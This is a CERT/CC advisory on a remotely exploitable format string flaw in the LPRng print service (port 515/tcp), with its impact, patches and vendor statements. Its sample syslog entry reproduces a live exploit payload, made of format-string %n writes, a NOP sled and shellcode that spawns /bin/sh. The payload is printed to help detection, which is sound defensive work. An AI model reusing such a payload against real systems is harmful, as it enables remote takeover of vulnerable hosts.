Last updated: January 27, 2003
Source: CERT/CC
A complete revision history is at the end of this file.
A popular replacement software package to the BSD lpd printing
service called LPRng contains at least one software defect, known as a
"format string vulnerability,"[1] which may allow
remote users to execute arbitrary code on vulnerable systems.
LPRng, now being packaged in several open-source operating system
distributions, has a missing format string argument in at least two
calls to the syslog() function.
Missing format strings in function calls allow user-supplied arguments
to be passed to a susceptible *snprintf() function call. Remote
users with access to the printer port (port 515/tcp) may be able to
pass format-string parameters that can overwrite arbitrary addresses
in the printing service's address space. Such overwriting can cause
segmentation violations leading to denial of printing services or to
the execution of arbitrary code injected through other means into the
memory segments of the printer service.
Sample syslog entries from successful exploitation of this
vulnerability have been reported, as follows:
This vulnerability has been assigned the identifier CAN-2000-0917 by
the Common Vulnerabilities and Exposures (CVE) group:
The CERT/CC has received reports of extensive probing to port
515/tcp. In addition, we have received some reports of systems
compromised using this vulnerability. Tools exploiting this
vulnerability have been posted to public forums.
A remote user may be able to execute arbitrary code with elevated
privileges.
In addition, the printing service may be disrupted or disabled entirely.
Upgrade to a non-vulnerable version of LPRng (3.6.25), as described
in the vendor sections below. Alternately, you can obtain the version
of LPRng which fixes the missing format string at:
Blocking access to the vulnerable service will limit your exposure
to attacks from outside your network perimeter. However, the
vulnerability would still allow local users to gain privileges they
normally shouldn't have; in addition, blocking port 515/tcp at a
network perimeter would still allow any remote user inside the
perimeter to exploit the vulnerability.
Apple has conducted an investigation and determined that Mac OS X
Public Beta and Mac OS X Server do not use LPRng and are therefore not
vulnerable to this exploitation.
See CSSA-2000-033.0 "format bug in LPRng" at:
Compaq Tru64 UNIX S/W is not vulnerable.
FreeBSD does not include LPRng in the base system. Older versions
of FreeBSD included a vulnerable version of LPRng in the Ports
Collection but this was corrected almost 2 months ago, prior to the
release of FreeBSD 4.2. See FreeBSD Security Advisory 00:56 (ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:56.lprng.asc)
for more information.
This does not apply to HP; HP does not ship LPRng on HP-UX.
IBM's AIX operating system is not vulnerable to this security exploit.
Microsoft doesn't use LPRng in any of its products, so no Microsoft products are affected by the vulnerability.
NetBSD does not include LPRng in the base system; however we do have a
third-party package of LPRng-3.6.8 which is vulnerable.
There's work underway to upgrade it to a non-vulnerable version.
OpenBSD does not ship lprng.
LPRng Version 3.6.24 and earlier is vulnerable.
See RHSA-2000:065 at:
IRIX does not contain LPRng support. SuSE is not vulnerable. Please see additional comments at:
Systems Affected
Overview
I. Description
Nov 26 10:01:00 foo SERVER[12345]: Dispatch_input: bad request line
'BB{E8}{F3}{FF}{BF}{E9}{F3}{FF}{BF}{EA}{F3}{FF}{BF}{EB}{F3}{FF}{BF}
XXXXXXXXXXXXXXXXXX%.168u%300$nsecurity.%301 $nsecurity%302$n%.192u%303$n
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}
1{DB}1{C9}1{C0}{B0}F{CD}{80}{89}{E5}1{D2}{B2}f{89}{D0}1{C9}{89}{CB}C{89}
]{F8}C{89}]{F4}K{89}M{FC}{8D}M{F4}{CD}{80}1{C9}{89}E{F4}Cf{89}]{EC}f{C7}
E{EE}{F}'{89}M{F0}{8D}E{EC}{89}E{F8}{C6}E{FC}{10}{89}{D0}{8D}
M{F4}{CD}{80}{89}{D0}CC{CD}{80}{89}{D0}C{CD}{80}{89}{C3}1{C9}{B2}
?{89}{D0}{CD}{80}{89}{D0}A{CD}{80}{EB}{18}^{89}u{8}1{C0}{88}F{7}{89}
E{C}{B0}{B}{89}{F3}{8D}M{8}{8D}U{C}{CD}{80}{E8}{E3}{FF}{FF}{FF}/bin/sh{A}'
II. Impact
III. Solution
Apply a patch from your vendor
Disallow access to printer service ports (typically 515/tcp) using
firewall or packet-filtering technologies
Appendix A. Vendor Information
Apple
Caldera OpenLinux
Compaq Computer Corporation
FreeBSD
Hewlett-Packard Company
IBM
Microsoft Corporation
NetBSD
OpenBSD
RedHat
SGI
SuSE
References
- VU#382365: LPRng can pass user-supplied input as a format string parameter to syslog() calls, CERT/CC, 10/06/2000, http://www.kb.cert.org/vuls/id/382365
The CERT Coordination Center thanks Chris Evans for his initial report on the vulnerability described in this advisory.
Author: This document was written by Jeffrey S Havrilla. Feedback on this advisory is appreciated.
Copyright 2000 Carnegie Mellon University.
Revision History
Dec 12, 2000: Initial Release
Dec 12, 2000: Updated name anchor for reference #1
Jan 27, 2003: Updated URL in Red Hat vendor statement